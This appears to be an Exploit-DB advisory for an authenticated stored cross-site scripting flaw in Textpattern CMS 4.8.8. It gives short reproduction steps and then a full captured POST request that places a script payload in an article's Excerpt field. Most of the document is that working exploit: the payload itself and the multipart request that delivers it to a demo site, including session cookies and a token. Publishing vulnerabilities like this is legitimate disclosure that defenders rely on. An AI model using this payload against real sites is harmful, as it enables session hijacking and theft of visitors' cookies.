Textpattern CMS v4.8.8 – Stored Cross-Site Scripting (XSS) (Authenticated)

  • 作者: tmrswrr
    日期: 2023-06-14
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/51523/
  • # Exploit Title: Textpattern CMS v4.8.8 - Stored Cross-Site Scripting (XSS) (Authenticated)
    # Date: 2023-06-13
    # Exploit Author: tmrswrr
    # Vendor Homepage: https://textpattern.com/
    # Software Link: https://textpattern.com/file_download/118/textpattern-4.8.8.zip
    # Version: v4.8.8
    # Tested : https://release-demo.textpattern.co/
    
    
    --- Description ---
    
    
    1) Login admin page , choose Content , Articles section : 
    https://release-demo.textpattern.co/textpattern/index.php?event=article&ID=2
    2) Write in Excerpt field this payload> "><script>alert(document.cookie)</script>
    3) Click My Site will you see alert button 
    https://release-demo.textpattern.co/index.php?id=2
    
    
    --- Request ---
    
    POST /textpattern/index.php HTTP/2
    Host: release-demo.textpattern.co
    Cookie: txp_login=managing-editor179%2C1673c724813dc43d06d90aff6e69616c; txp_login_public=b7cb169562managing-editor179
    User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
    Accept: text/javascript, application/javascript, application/ecmascript, application/x-ecmascript, */*; q=0.01
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Referer: https://release-demo.textpattern.co/
    X-Requested-With: XMLHttpRequest
    Content-Type: multipart/form-data; boundary=---------------------------26516646042700398511941284351
    Content-Length: 4690
    Origin: https://release-demo.textpattern.co
    Dnt: 1
    Sec-Fetch-Dest: empty
    Sec-Fetch-Mode: cors
    Sec-Fetch-Site: same-origin
    Te: trailers
    
    -----------------------------26516646042700398511941284351
    Content-Disposition: form-data; name="ID"
    
    2
    -----------------------------26516646042700398511941284351
    Content-Disposition: form-data; name="event"
    
    article
    -----------------------------26516646042700398511941284351
    Content-Disposition: form-data; name="step"
    
    edit
    -----------------------------26516646042700398511941284351
    Content-Disposition: form-data; name="Title"
    
    hello
    -----------------------------26516646042700398511941284351
    Content-Disposition: form-data; name="textile_body"
    
    1
    -----------------------------26516646042700398511941284351
    Content-Disposition: form-data; name="Body"
    
    hello
    -----------------------------26516646042700398511941284351
    Content-Disposition: form-data; name="textile_excerpt"
    
    1
    -----------------------------26516646042700398511941284351
    Content-Disposition: form-data; name="Excerpt"
    
    "><script>alert(document.cookie)</script>
    -----------------------------26516646042700398511941284351
    Content-Disposition: form-data; name="sPosted"
    
    1686684925
    -----------------------------26516646042700398511941284351
    Content-Disposition: form-data; name="sLastMod"
    
    1686685069
    -----------------------------26516646042700398511941284351
    Content-Disposition: form-data; name="AuthorID"
    
    managing-editor179
    -----------------------------26516646042700398511941284351
    Content-Disposition: form-data; name="LastModID"
    
    managing-editor179
    -----------------------------26516646042700398511941284351
    Content-Disposition: form-data; name="Status"
    
    4
    -----------------------------26516646042700398511941284351
    Content-Disposition: form-data; name="Section"
    
    articles
    -----------------------------26516646042700398511941284351
    Content-Disposition: form-data; name="override_form"
    
    article_listing
    -----------------------------26516646042700398511941284351
    Content-Disposition: form-data; name="year"
    
    2023
    -----------------------------26516646042700398511941284351
    Content-Disposition: form-data; name="month"
    
    06
    -----------------------------26516646042700398511941284351
    Content-Disposition: form-data; name="day"
    
    13
    -----------------------------26516646042700398511941284351
    Content-Disposition: form-data; name="hour"
    
    19
    -----------------------------26516646042700398511941284351
    Content-Disposition: form-data; name="minute"
    
    35
    -----------------------------26516646042700398511941284351
    Content-Disposition: form-data; name="second"
    
    25
    -----------------------------26516646042700398511941284351
    Content-Disposition: form-data; name="exp_year"
    
    
    -----------------------------26516646042700398511941284351
    Content-Disposition: form-data; name="exp_month"
    
    
    -----------------------------26516646042700398511941284351
    Content-Disposition: form-data; name="exp_day"
    
    
    -----------------------------26516646042700398511941284351
    Content-Disposition: form-data; name="exp_hour"
    
    
    -----------------------------26516646042700398511941284351
    Content-Disposition: form-data; name="exp_minute"
    
    
    -----------------------------26516646042700398511941284351
    Content-Disposition: form-data; name="exp_second"
    
    
    -----------------------------26516646042700398511941284351
    Content-Disposition: form-data; name="sExpires"
    
    
    -----------------------------26516646042700398511941284351
    Content-Disposition: form-data; name="Category1"
    
    hope-for-the-future
    -----------------------------26516646042700398511941284351
    Content-Disposition: form-data; name="Category2"
    
    hope-for-the-future
    -----------------------------26516646042700398511941284351
    Content-Disposition: form-data; name="url_title"
    
    alert1
    -----------------------------26516646042700398511941284351
    Content-Disposition: form-data; name="description"
    
    
    -----------------------------26516646042700398511941284351
    Content-Disposition: form-data; name="Keywords"
    
    
    -----------------------------26516646042700398511941284351
    Content-Disposition: form-data; name="Image"
    
    
    -----------------------------26516646042700398511941284351
    Content-Disposition: form-data; name="custom_1"
    
    
    -----------------------------26516646042700398511941284351
    Content-Disposition: form-data; name="custom_2"
    
    
    -----------------------------26516646042700398511941284351
    Content-Disposition: form-data; name="save"
    
    Save
    -----------------------------26516646042700398511941284351
    Content-Disposition: form-data; name="app_mode"
    
    async
    -----------------------------26516646042700398511941284351
    Content-Disposition: form-data; name="_txp_token"
    
    fb6da7f582d0606882462bc4ed72238e
    -----------------------------26516646042700398511941284351--